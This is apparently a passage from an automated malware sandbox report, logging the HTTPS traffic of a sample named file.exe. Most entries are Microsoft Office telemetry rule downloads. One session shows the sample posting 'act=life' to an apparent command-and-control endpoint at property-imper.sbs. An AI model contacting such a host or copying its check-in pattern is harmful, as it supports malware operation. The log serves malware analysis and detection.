2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.10	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:42 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074342Z-15b8b599d88wk8w4hC1TEB14b8000000046g0000000062q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:42 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.10	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:42 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074342Z-178bfbc474btvfdfhC1NYCa2en00000005ng00000000bndr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:42 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.10	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:42 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074342Z-174c587ffdfn4nhwhC1TEB2nbc000000048g000000004de5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:42 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.10	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:42 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074342Z-178bfbc474bv587zhC1NYCny5w00000005m0000000002z9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:42 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.10	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:42 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074342Z-174c587ffdfmlsmvhC1TEBvyks00000004900000000097z9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:42 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49716	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 07:43:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 07:43:43 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4g7ph33s1nbaaoa6tnuetat49; expires=Thu, 20-Mar-2025 01:30:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B7qlVvdw1EB1xLGUupCMzfYpZSI%2BE%2FRuKXjRChYLg2rskC3BSAXFfPxceC05K0FeXLtz%2FwCvEJmFsWpaiBiHpRvYQyZlqDM0dyaIrmFmRGm3TYkoFTTu6lXVeW2fyfg3RsZCQrs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c5090e528c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1883&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1602634&cwnd=215&unsent_bytes=0&cid=efd4e7bddd120eba&ts=730&x=0"
2024-11-24 07:43:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 07:43:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.10	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:44 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 90d7dcde-101e-008e-3d03-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074344Z-178bfbc474bgvl54hC1NYCsfuw00000005pg000000004uqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.10	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:44 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074344Z-178bfbc474b9fdhphC1NYCac0n00000005fg00000000e1wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.10	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:44 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074344Z-174c587ffdfb485jhC1TEBmc1s00000003wg00000000egyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:44 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.10	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:44 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e9522a88-801e-0067-2316-3dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074344Z-178bfbc474bfw4gbhC1NYCunf400000005n0000000009un7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
